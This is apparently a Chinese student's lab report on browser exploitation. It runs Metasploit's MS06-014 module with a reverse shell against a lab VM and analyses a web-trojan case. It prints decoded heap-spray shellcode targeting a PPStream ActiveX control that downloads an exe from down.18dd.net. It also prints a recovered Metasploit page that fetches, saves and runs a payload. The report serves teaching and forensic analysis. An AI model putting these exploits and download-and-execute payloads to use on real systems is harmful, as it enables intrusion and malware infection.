20212916 2021-2022-2《网络攻防实践》实践十一

1.实验内容

1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.实验步骤

2.1web浏览器渗透攻击

首先确定本次实验的攻击机为kali,靶机为win2kserver。查看两个虚拟的的IP地址并尝试是否可以ping通,同时需要打开蜜网。

clip_image002

clip_image004

clip_image006

在kali中输入msfconsole进入Metasploit。

输入命令search MS06-04查找漏洞

clip_image008

输入命令 use 0 使用0

clip_image010

输入命令 set payload windows/shell/reverse_tcp 载入攻击载荷

clip_image012

设置攻击机的IP地址 set LHOST 192.168.200.4

clip_image014

命令 run 运行攻击

clip_image016

在win2000和Kali中打开网站

clip_image018

clip_image020

输入 sessions -i 1

clip_image022

输入ipconfig 查看IP地址

clip_image024

输入命令md 212916xl创建文件夹

clip_image026

这时我们回到靶机,可以看见攻击机创建的文件夹

clip_image027

2.2网页挂马分析

2.2.1搜索new09.htm的位置

首先在Windows的攻击机下使用记事本打开文件start.html。搜索new09.htm,路径不是绝对路径,所以是和start在同一个文件夹之下的

clip_image029

再用记事本打开new09.htm文件,其中有两个网站

clip_image031

利用md5反查这两个网站

clip_image033

clip_image035

根据查询结果找到23180开头的文件,使用记事本打开文件,发现这是一个流量统计代码

clip_image037

再查找另一个文件,以7f606开头

clip_image039

再文档最后我们可以发现它是一个XXTEA加密的,所以我们对它进行解密

首先通过ASCII码转换得到密钥script

clip_image041

然后进行解密,解密得到全都是16进制的数

clip_image043

然后再次利用ASCII码进行转换

clip_image045

我们将斜杠删除之后查看代码

clip_image047

在代码里面我们发现了部分网址

http://aa.18dd.net/aa/1.js

http://aa.18dd.net/aa/b.js

http://aa.18dd.net/aa/pps.js

http://down..18dd.net/bb/bd.cad

clip_image049

clip_image051

2.2.2 1.js,b.js,pps.js和bd压缩文件的分析

我们再次将这些网址进行cmd5查询

clip_image053

再文件夹里找到和这个序列相同的文件并打开

clip_image055

发现全部是16进制,我们将其转换

clip_image057

同样删除掉其中的斜杠,查看代码得到的是一个exe程序

clip_image059

对其做哈希

clip_image061

得到序列值,并在文件夹中打开与之相对应的文件,将其重命名,得到应用程序文件

clip_image063

同样的对其他网址做哈希运算,找其对应文件

clip_image065

clip_image067

在浏览器的控制台上进行输出,删除eval

clip_image069

将其复制到文档里面进行查看并分析代码,发现有很多的%u,这是使用了escape加密,并且存在shellcode,而在shellcode中有关键字/,它的ASCLL码为2f,而url中出现最多的就是/然后我们写出16进制的数字687474703a2f2f646f776e2e313864642e6e65742f62622f62662e657865并转换为字符。

clip_image070

发现会从这个网站下载bf.exe文件http://down.18dd.net/bb/bf.exe,其MAD5为268cbd59fbed235f6cf6b41b92b03f8e

clip_image072

然后在文件夹里找到与之相对应的文件,并将其重命名,扩展名为.exe。

clip_image074

下面对下一个网址接着做哈希

clip_image076

打开对应的文件

clip_image078

将八进制文件转化位字符

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +

"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +

"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +

"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +

"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +

"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +

"%u206a%uff53%uec57%u*/

pps=(document.createElement("object"));

pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")

var shellcode = unescape("%uf3e9%u0000"+

"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +

"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +

"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +

"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +

"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +

"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +

"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +

"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +

"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +

"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +

"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +

"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +

"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +

"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +

"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +

"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +

"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +

"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +

"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +

"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +

"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +

"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<400; x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";

pps.Logo = buffer

分析代码,找到2f(表示斜杠)写出十六进制的一串数687474703a2f2f646f776e2e313864642e6e65742f62622f7070732e657865,将其转化为网址,然后在对网址进行哈希。

clip_image080

clip_image082

根据得到序列打开对应文件,将其重命名,得到我们需要的程序

clip_image084

下面对最后一个网址进行与上述相同的操作,计算哈希

clip_image086

根据序列找到对应文件

clip_image087

这样我们就得到了四个exe程序,对这四个程序的文件内容做md5,发现这四个文件其实都是一样的

clip_image089

2.2.3木马行为分析

上一步已经发现这四个文件其实是一样的,我们对其查壳。发现为Delphi

clip_image090

使用IDA打开bd.exe,查看字符串

clip_image092

发现此应用程序会修改注册表

clip_image094

使用杀毒软件进行扫描发现文件为蠕虫病毒

clip_image096

2.3web 浏览器攻防实践

再次重复一下2.1的步骤

生成链接

clip_image098

在win2k和kali中打开网站

clip_image100

clip_image102

利用wire shark抓包

clip_image104

追踪tcp流

clip_image106

使用网站进行html格式化和js压缩

clip_image108

得到代码

<html>

<head>

<title></title>

<script language="javascript">

function rJuIaUjNUhmNlaX(o, n) {

var r = null;

try {

eval("r=o.CreateObject(n)")

} catch(e) {}

if (!r) {

try {

eval("r=o.CreateObject(n,'')")

} catch(e) {}

}

if (!r) {

try {

eval("r=o.CreateObject(n,'','')")

} catch(e) {}

}

if (!r) {

try {

eval("r=o.GetObject('',n)")

} catch(e) {}

}

if (!r) {

try {

eval("r=o.GetObject(n,'')")

} catch(e) {}

}

if (!r) {

try {

eval("r=o.GetObject(n)")

} catch(e) {}

}

return (r)

}

function QYWegawJKAxJgdkkzKvs(a) {

var s = rJuIaUjNUhmNlaX(a, "WScript.Shell");

var o = rJuIaUjNUhmNlaX(a, "ADODB.Stream");

var e = s.Environment("Process");

var url = document.location + '/payload';

var xml = null;

var bin = e.Item("TEMP") + "\\sAqQNGNGzabt.exe";

var dat;

try {

xml = new XMLHttpRequest()

} catch(e) {

try {

xml = new ActiveXObject("Microsoft.XMLHTTP")

} catch(e) {

xml = new ActiveXObject("MSXML2.ServerXMLHTTP")

}

}

if (!xml) {

return (0)

}

xml.open("GET", url, false);

xml.send(null);

dat = xml.responseBody;

o.Type = 1;

o.Mode = 3;

o.Open();

o.Write(dat);

o.SaveToFile(bin, 2);

s.Run(bin, 0)

}

function WnxEfSBUPiDLHXKY() {

var i = 0;

var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);

while (t[i]) {

var a = null;

if (t[i].substring(0, 1) == '{') {

a = document.createElement("object");

a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))

} else {

try {

a = new ActiveXObject(t[i])

} catch(e) {}

}

if (a) {

try {

var b = rJuIaUjNUhmNlaX(a, "WScript.Shell");

if (b) {

QYWegawJKAxJgdkkzKvs(a);

return (0)

}

} catch(e) {}

}

i++

}

}

</script>

</head>

<body onload='WnxEfSBUPiDLHXKY()'>

YIpKvMJVXeyKZMzc

</body>

</html>

发现程序调用了一个文件

clip_image110

防守方打开进程发现了该程序

clip_image111

3.实验问题

问题一:第二个实验过程中md5显示格式有误。

解决:是自己点击了查询,不需要点击查询,输入会直接出结果

问题二:在分析抓包实验过程中找不到tcp流。

解决:是自己在攻击结束后才打开的抓包软件,重新做了一次抓包分析,提前打开了抓包软件。

问题三:最后查看代码的时候总是不能正确显示。

解决:应该提前删除掉冗余信息,然后压缩,调整格式。

4.感想

本次实验就我个人而言难度比较大,过程比较复杂,但是同时也学会了很多东西,只要按照步骤来,仔细一点,最后都会成功的。

posted @ 2022-05-29 20:57  20212916  阅读(136)  评论(0编辑  收藏  举报